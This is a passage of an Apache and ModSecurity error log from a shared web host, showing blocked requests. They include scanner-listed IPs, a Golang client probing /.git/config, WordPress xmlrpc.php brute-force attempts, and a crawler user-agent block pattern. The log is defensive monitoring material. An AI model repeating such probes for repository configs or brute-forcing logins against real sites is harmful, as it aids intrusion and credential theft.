https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:08.803892 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:08.826873 2026] [security2:error] [pid 715691:tid 715720] [remote 17.241.219.230:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 230.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30bLV-dFiaX9AtWiQhcQABGQo"] [Sat Jun 13 18:23:08.882424 2026] [security2:error] [pid 646876:tid 646993] [remote 17.246.15.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30bNyTkdrNlD40tSHRGwAAAXI"] [Sat Jun 13 18:23:09.095476 2026] [security2:error] [pid 646876:tid 646922] [remote 17.246.23.95:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 95.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30bdyTkdrNlD40tSHRHwAAXCs"] [Sat Jun 13 18:23:09.191659 2026] [security2:error] [pid 646876:tid 647023] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/tests/lang/operators/preinc_variationStr.phpt"] [unique_id "ai30bdyTkdrNlD40tSHRIAAAAA8"] [Sat Jun 13 18:23:09.273462 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.53:24936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:09.273914 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.53:24936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:09.330670 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:23:09.331015 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:23:09.421978 2026] [access_compat:error] [pid 715691:tid 715810] [remote 57.141.14.108:21689] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:09.422420 2026] [access_compat:error] [pid 715691:tid 715810] [remote 57.141.14.108:21689] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:09.881086 2026] [security2:error] [pid 715691:tid 715752] [remote 17.241.227.29:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 29.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30bbV-dFiaX9AtWiQhngABZCo"] [Sat Jun 13 18:23:09.922620 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:23:09.923529 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:23:09.937251 2026] [security2:error] [pid 715691:tid 715917] [client 107.189.29.135:47736] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "adspotmx.com"] [uri "/.git/config"] [unique_id "ai30bbV-dFiaX9AtWiQhogAAAVY"] [Sat Jun 13 18:23:10.029542 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.53:24938] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:10.030010 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.53:24938] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:10.048845 2026] [security2:error] [pid 715691:tid 715794] [remote 17.22.253.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30brV-dFiaX9AtWiQhowABZ1M"] [Sat Jun 13 18:23:10.061311 2026] [access_compat:error] [pid 715691:tid 715714] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:10.064386 2026] [access_compat:error] [pid 715691:tid 715714] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:10.139691 2026] [security2:error] [pid 715691:tid 715847] [client 114.119.156.227:56479] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.alfareedfertilizers.com"] [uri "/robots.txt"] [unique_id "ai30brV-dFiaX9AtWiQhqAAAARA"], referer: https://www.alfareedfertilizers.com/robots.txt [Sat Jun 13 18:23:10.383823 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:23:10.384139 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:23:10.400977 2026] [access_compat:error] [pid 715691:tid 715782] [remote 57.141.14.17:41040] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:10.401238 2026] [access_compat:error] [pid 715691:tid 715782] [remote 57.141.14.17:41040] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:10.496281 2026] [security2:error] [pid 715691:tid 715824] [remote 17.241.219.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30brV-dFiaX9AtWiQhtwABD3E"] [Sat Jun 13 18:23:10.535758 2026] [access_compat:error] [pid 715691:tid 715724] [remote 57.141.14.97:27234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:10.536210 2026] [access_compat:error] [pid 715691:tid 715724] [remote 57.141.14.97:27234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:10.854043 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDYvaWQ= [Sat Jun 13 18:23:10.854564 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDYvaWQ= [Sat Jun 13 18:23:10.972311 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.98:58590] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:10.972772 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.98:58590] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:10.982049 2026] [security2:error] [pid 715691:tid 715719] [remote 17.246.23.92:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 92.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30brV-dFiaX9AtWiQh2AABZgk"] [Sat Jun 13 18:23:11.382712 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2UvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:23:11.383060 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2UvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:23:11.434448 2026] [access_compat:error] [pid 715691:tid 715767] [remote 57.141.14.37:30522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:11.434875 2026] [access_compat:error] [pid 715691:tid 715767] [remote 57.141.14.37:30522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:11.541010 2026] [security2:error] [pid 715691:tid 715959] [client 210.217.96.217:65452] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30b7V-dFiaX9AtWiQh-gAAAYA"] [Sat Jun 13 18:23:11.541133 2026] [security2:error] [pid 715691:tid 715959] [client 210.217.96.217:65452] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30b7V-dFiaX9AtWiQh-gAAAYA"] [Sat Jun 13 18:23:11.577479 2026] [security2:error] [pid 715691:tid 715927] [client 172.56.168.133:58733] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30b7V-dFiaX9AtWiQh_QAAAWA"] [Sat Jun 13 18:23:11.582043 2026] [security2:error] [pid 715691:tid 715927] [client 172.56.168.133:58733] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30b7V-dFiaX9AtWiQh_QAAAWA"] [Sat Jun 13 18:23:11.620345 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.74:55012] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:11.620812 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.74:55012] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:11.747022 2026] [access_compat:error] [pid 715691:tid 715757] [remote 57.141.14.110:37652] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:11.747304 2026] [access_compat:error] [pid 715691:tid 715757] [remote 57.141.14.110:37652] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:11.769981 2026] [access_compat:error] [pid 715691:tid 715785] [remote 57.141.14.26:21760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:11.770266 2026] [access_compat:error] [pid 715691:tid 715785] [remote 57.141.14.26:21760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:11.947749 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQx [Sat Jun 13 18:23:11.948198 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQx [Sat Jun 13 18:23:12.110252 2026] [security2:error] [pid 715691:tid 715800] [remote 17.22.245.217:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname 